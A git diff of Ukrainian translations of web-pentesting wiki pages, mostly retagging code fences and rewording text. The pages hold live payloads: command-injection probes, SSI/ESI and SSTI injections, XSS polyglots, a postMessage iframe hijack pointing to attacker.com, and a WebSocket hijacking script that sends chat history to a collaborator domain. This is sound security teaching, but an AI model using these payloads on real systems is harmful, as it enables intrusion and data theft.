||||
```bash
|
||||
;ls
|
||||
||ls;
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## Dangling Markup
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
@ -127,17 +127,17 @@ javascript:alert(1)
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
## [Серверне включення/Краєве включення](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
### Основні Тести
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Поліглоти
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -162,24 +162,24 @@ ${{7*7}}
|
||||
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### Поліглоти
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### Основні тести
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Поліглоти
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Зверніть увагу, що **targetOrigin** може бути '\*' або URL, наприклад, _https://company.com._\
|
||||
У **другому сценарії** **повідомлення можна надсилати лише на цей домен** (навіть якщо походження об'єкта вікна інше).\
|
||||
Якщо використовується **доменне ім'я**, **повідомлення можуть бути надіслані на будь-який домен** і будуть надіслані на походження об'єкта Window.
|
||||
Якщо використовується **доменне ім'я**, **повідомлення можуть надсилатися на будь-який домен** і будуть надіслані на походження об'єкта Window.
|
||||
|
||||
### Атака на iframe та доменне ім'я в **targetOrigin**
|
||||
|
||||
Як пояснено в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яка може бути **вставлена в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
|
||||
Як пояснюється в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яку можна **вставити в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
|
||||
Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але **targetOrigin** **встановлено на URL, а не на доменне ім'я**, цей **трюк не спрацює**.
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -57,7 +57,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||||
## експлуатація addEventListener
|
||||
|
||||
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\
|
||||
Будуть використані коди, подібні до наведеного нижче:
|
||||
Будуть використані код, подібний до наведеного нижче:
|
||||
```javascript
|
||||
window.addEventListener(
|
||||
"message",
|
||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Зверніть увагу, що **перше, що** робить код, це **перевіряє походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
|
||||
Зверніть увагу, що **перше, що** робить код, це **перевірка походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
|
||||
|
||||
### Перерахування
|
||||
|
||||
@ -102,7 +102,7 @@ false
|
||||
```
|
||||
|
||||
- Функція **`match()`**, подібно до `search()`, обробляє regex. Якщо regex неправильно структурований, він може бути вразливим до обходу.
|
||||
- Функція **`escapeHtml`** призначена для санітарної обробки введень шляхом екранування символів. Однак вона не створює нового екранованого об'єкта, а перезаписує властивості існуючого об'єкта. Цю поведінку можна експлуатувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає `hasOwnProperty`, `escapeHtml` не буде працювати як очікувалося. Це продемонстровано в наведених нижче прикладах:
|
||||
- Функція **`escapeHtml`** призначена для санітарної обробки введень шляхом екранування символів. Однак вона не створює нового екранованого об'єкта, а перезаписує властивості існуючого об'єкта. Цю поведінку можна експлуатувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає `hasOwnProperty`, `escapeHtml` не буде працювати, як очікувалося. Це продемонстровано в наведених нижче прикладах:
|
||||
|
||||
- Очікувана помилка:
|
||||
|
||||
@ -120,15 +120,15 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
У контексті цієї вразливості об'єкт `File` є особливо вразливим через його властивість `name`, яка є лише для читання. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки.
|
||||
У контексті цієї вразливості об'єкт `File` є особливо вразливим через його тільки для читання властивість `name`. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки.
|
||||
|
||||
- Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики одного походження в межах одного батьківського домену.
|
||||
- Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики однакового походження в межах одного батьківського домену.
|
||||
|
||||
### Обхід e.origin == window.origin
|
||||
|
||||
Коли ви вбудовуєте веб-сторінку в **пісочницю iframe** за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з **атрибутами пісочниці** та їх наслідками для безпеки та функціональності.
|
||||
|
||||
Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вмісту, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe.
|
||||
Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe.
|
||||
|
||||
В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою **`postMessage`**, як відправник, так і отримувач мають свої походження, встановлені в `null`. Ця ситуація призводить до сценарію, де **`e.origin == window.origin`** оцінюється як істина (`null == null`), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження `null`.
|
||||
|
||||
@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### Обхід X-Frame-Header
|
||||
|
||||
Щоб виконати ці атаки, ідеально, щоб ви могли **вставити веб-сторінку жертви** всередину `iframe`. Але деякі заголовки, такі як `X-Frame-Header`, можуть **перешкоджати** цій **поведінці**.\
|
||||
Щоб виконати ці атаки, ідеально, щоб ви могли **вставити веб-сторінку жертви** всередину `iframe`. Але деякі заголовки, такі як `X-Frame-Header`, можуть **запобігти** цій **поведінці**.\
|
||||
У таких сценаріях ви все ще можете використовувати менш приховану атаку. Ви можете відкрити нову вкладку для вразливого веб-додатку та спілкуватися з ним:
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Вкрадення повідомлення, надісланого дитині, шляхом блокування головної сторінки
|
||||
|
||||
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині**, щоб **викрити дані** до того, як вони будуть отримані:
|
||||
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині** для **викриття даних** до їх отримання:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### Вкрадення повідомлення шляхом зміни місцезнаходження iframe
|
||||
|
||||
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому, якщо він отримує **postmessage**, надіслане з використанням **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
|
||||
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому якщо він отримує **postmessage**, надіслане за допомогою **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -183,9 +183,9 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage до Prototype Pollution та/або XSS
|
||||
|
||||
У сценаріях, де дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
|
||||
У сценаріях, коли дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
|
||||
|
||||
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти за посиланням [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Приклад експлойту для зловживання **Prototype Pollution, а потім XSS** через `postMessage` до `iframe`:
|
||||
```html
|
||||
|
@ -27,7 +27,7 @@
|
||||
|
||||
Створіть наступні сторінки в папці та запустіть веб-сервер за допомогою `python3 -m http.server`\
|
||||
Потім, **доступ** до `http://127.0.0.1:8000/`vulnerable.html, **натисніть** на посилання і зверніть увагу, як **URL** **оригінального** **веб-сайту** **змінюється**.
|
||||
```markup:vulnerable.html
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
У сценарії, коли відбувається **перехресний доступ** (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
|
||||
У сценарії, коли відбувається **крос-доменний** доступ (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
|
||||
|
||||
- **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
|
||||
- **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.
|
||||
|
@ -17,7 +17,7 @@ SSI (Server Side Includes) - це директиви, які **розміщую
|
||||
|
||||
Рішення про те, коли використовувати SSI, а коли повністю генерувати вашу сторінку якоюсь програмою, зазвичай залежить від того, скільки з сторінки є статичним, а скільки потрібно перераховувати щоразу, коли сторінка обслуговується. SSI - це чудовий спосіб додати невеликі шматочки інформації, такі як поточний час - показаний вище. Але якщо більшість вашої сторінки генерується в момент її обслуговування, вам потрібно шукати інше рішення.
|
||||
|
||||
Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширеннями **`.shtml`, `.shtm` або `.stm`**, але це не є єдиним випадком.
|
||||
Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширеннями **`.shtml`, `.shtm` або `.stm`**, але це не єдиний випадок.
|
||||
|
||||
Типове вираження SSI має наступний формат:
|
||||
```
|
||||
@ -57,7 +57,7 @@ SSI (Server Side Includes) - це директиви, які **розміщую
|
||||
## Edge Side Inclusion
|
||||
|
||||
Є проблема **кешування інформації або динамічних додатків**, оскільки частина контенту може **варіюватися** для наступного отримання контенту. Саме для цього використовується **ESI**, щоб вказати за допомогою тегів ESI **динамічний контент, який потрібно згенерувати** перед відправкою кешованої версії.\
|
||||
Якщо **зловмисник** зможе **вставити тег ESI** всередину кешованого контенту, тоді він зможе **вставити довільний контент** у документ перед його відправкою користувачам.
|
||||
Якщо **зловмисник** зможе **впровадити тег ESI** всередину кешованого контенту, тоді він зможе **впровадити довільний контент** у документ перед його відправкою користувачам.
|
||||
|
||||
### ESI Detection
|
||||
|
||||
@ -66,7 +66,7 @@ SSI (Server Side Includes) - це директиви, які **розміщую
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Якщо ви не можете знайти цей заголовок, сервер **може використовувати ESI в будь-якому випадку**.\
|
||||
**Метод сліпої експлуатації також може бути використаний**, оскільки запит має надійти на сервер атакуючого:
|
||||
**Можна також використовувати сліпий підхід до експлуатації**, оскільки запит має надійти на сервер атакуючого:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
@ -94,7 +94,7 @@ hell<!--esi-->o
|
||||
- **Includes**: Підтримує директиву `<esi:includes>`
|
||||
- **Vars**: Підтримує директиву `<esi:vars>`. Корисно для обходу фільтрів XSS
|
||||
- **Cookie**: Документні куки доступні для ESI-двигуна
|
||||
- **Необхідні заголовки з верхнього рівня**: Сурогатні програми не оброблятимуть ESI-інструкції, якщо програма верхнього рівня не надає заголовки
|
||||
- **Необхідні заголовки з верхнього рівня**: Сурогатні програми не оброблятимуть ESI-інструкції, якщо програма з верхнього рівня не надає заголовки
|
||||
- **Список дозволених хостів**: У цьому випадку ESI включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можливим лише проти цих хостів
|
||||
|
||||
| **Програмне забезпечення** | **Includes** | **Vars** | **Cookies** | **Необхідні заголовки з верхнього рівня** | **Список дозволених хостів** |
|
||||
@ -112,7 +112,7 @@ hell<!--esi-->o
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
#### Обхід захисту XSS на стороні клієнта
|
||||
#### Обхід захисту XSS клієнта
|
||||
```xml
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### Приватний локальний файл
|
||||
|
||||
Не плутайте це з "Локальним включенням файлів":
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Open Redirect
|
||||
@ -154,7 +154,7 @@ Use <!--esi--> to bypass WAFs:
|
||||
```
|
||||
#### Додати заголовок
|
||||
|
||||
- Додати заголовок у примусовому запиті
|
||||
- Додати заголовок у примусовий запит
|
||||
```xml
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
|
@ -1,4 +1,4 @@
|
||||
# WebSocket Attacks
|
||||
# WebSocket Атаки
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -61,35 +61,35 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Websockets enumeration
|
||||
### Перерахування Websockets
|
||||
|
||||
Ви можете використовувати **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **для автоматичного виявлення, ідентифікації та пошуку відомих** **вразливостей** у вебсокетах.
|
||||
Ви можете використовувати **інструмент** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **для автоматичного виявлення, ідентифікації та пошуку відомих** **вразливостей** у websockets.
|
||||
|
||||
### Websocket Debug tools
|
||||
### Інструменти налагодження Websocket
|
||||
|
||||
- **Burp Suite** підтримує MitM вебсокетну комунікацію дуже схожим чином, як це робить для звичайної HTTP комунікації.
|
||||
- Розширення [**socketsleuth**](https://github.com/snyk/socketsleuth) **для Burp Suite** дозволить вам краще керувати вебсокетними комунікаціями в Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
|
||||
- **Burp Suite** підтримує MitM комунікацію websockets дуже схожим чином, як це робить для звичайної HTTP комунікації.
|
||||
- Розширення **[**socketsleuth**](https://github.com/snyk/socketsleuth)** для Burp Suite дозволить вам краще керувати комунікаціями Websocket у Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочено від "**WebSocket/Socket.io Proxy**", цей інструмент, написаний на Node.js, надає інтерфейс для **захоплення, перехоплення, надсилання користувацьких** повідомлень та перегляду всіх комунікацій WebSocket і Socket.IO між клієнтом і сервером.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним вебсокетним REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними вебсокетними повідомленнями та надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими вебами, використовуючи **вебсокети**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими вебами, використовуючи **вебсокети.**
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним websocket REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними повідомленнями websocket і надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими веб-сайтами за допомогою **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими веб-сайтами за допомогою **websockets.**
|
||||
|
||||
## Websocket Lab
|
||||
## Лабораторія Websocket
|
||||
|
||||
У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) у вас є код для запуску вебу, використовуючи вебсокети, а в [**цьому пості**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ви можете знайти пояснення.
|
||||
У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) у вас є код для запуску вебу за допомогою websockets, а в [**цьому пості**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ви можете знайти пояснення.
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
## Перехоплення WebSocket між сайтами (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**, також відомий як **cross-origin WebSocket hijacking**, визначається як специфічний випадок **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**, що впливає на вебсокетні з'єднання. Ця вразливість виникає, коли вебсокетні з'єднання аутентифікуються виключно через **HTTP cookies** без **CSRF tokens** або подібних заходів безпеки.
|
||||
**Перехоплення WebSocket між сайтами**, також відоме як **перехоплення WebSocket з різних джерел**, визначається як специфічний випадок **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**, що впливає на рукопожаття WebSocket. Ця вразливість виникає, коли рукопожаття WebSocket аутентифікуються виключно через **HTTP cookies** без **CSRF токенів** або подібних заходів безпеки.
|
||||
|
||||
Зловмисники можуть скористатися цим, розмістивши **шкідливу веб-сторінку**, яка ініціює крос-сайтове вебсокетне з'єднання з вразливим додатком. Внаслідок цього це з'єднання розглядається як частина сесії жертви з додатком, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.
|
||||
Зловмисники можуть скористатися цим, розмістивши **шкідливу веб-сторінку**, яка ініціює з'єднання WebSocket між сайтами до вразливої програми. Внаслідок цього це з'єднання розглядається як частина сесії жертви з програмою, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.
|
||||
|
||||
### Simple Attack
|
||||
### Простий напад
|
||||
|
||||
Зверніть увагу, що при **встановленні** **вебсокетного** з'єднання **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **вебсокетною** **сесією на основі надісланого cookie**.
|
||||
Зверніть увагу, що при **встановленні** з'єднання **websocket** **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **сесією websocket на основі надісланого cookie**.
|
||||
|
||||
Тоді, якщо, наприклад, **вебсокетний** **сервер** **повертає історію розмови** користувача, якщо надсилається повідомлення з "**READY"**, тоді **проста XSS**, що встановлює з'єднання (**cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
|
||||
```markup
|
||||
Тоді, якщо, наприклад, **сервер websocket** **повертає історію розмови** користувача, якщо надсилається повідомлення з "**READY"**, тоді **простий XSS**, що встановлює з'єднання (**cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie with a different subdomain
|
||||
|
||||
У цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript у піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **cookie** надсилався, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим спілкуватися з ним і **викрасти токени**.
|
||||
В цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript в піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **cookie** надсилався, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим спілкуватися з ним і **викрасти токени**.
|
||||
|
||||
### Stealing data from user
|
||||
|
||||
@ -136,7 +136,7 @@ sudo python3 -m http.server 80
|
||||
```
|
||||
## Умови гонки
|
||||
|
||||
Умови гонки в WebSockets також існують, [перегляньте цю інформацію, щоб дізнатися більше](race-condition.md#rc-in-websockets).
|
||||
Умови гонки в WebSockets також існують, [перевірте цю інформацію, щоб дізнатися більше](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Інші вразливості
|
||||
|
||||
@ -144,7 +144,7 @@ sudo python3 -m http.server 80
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Ця вразливість може дозволити вам **обійти обмеження зворотних проксі**, змушуючи їх вірити, що **вебсокетне спілкування було встановлено** (навіть якщо це не так). Це може дозволити зловмиснику **отримати доступ до прихованих кінцевих точок**. Для отримання додаткової інформації перегляньте наступну сторінку:
|
||||
Ця вразливість може дозволити вам **обійти обмеження зворотних проксі**, змушуючи їх вірити, що **вебсокетне з'єднання було встановлено** (навіть якщо це не так). Це може дозволити зловмиснику **отримати доступ до прихованих кінцевих точок**. Для отримання додаткової інформації перегляньте наступну сторінку:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
@ -10,8 +10,8 @@
|
||||
1. Чи можете ви створити нові HTML теги?
|
||||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
@ -25,7 +25,7 @@
|
||||
4. Javascript **функція**, що **виконується**
|
||||
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
|
||||
4. Якщо **використовується**:
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваше введення і чи використовується ваше **контрольоване введення будь-яким sink.**
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи ваше **контрольоване введення використовується будь-яким sink.**
|
||||
|
||||
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
|
||||
|
||||
@ -50,14 +50,14 @@ debugging-client-side-js.md
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибута HTML тегу
|
||||
### Всередині атрибута HTML тегів
|
||||
|
||||
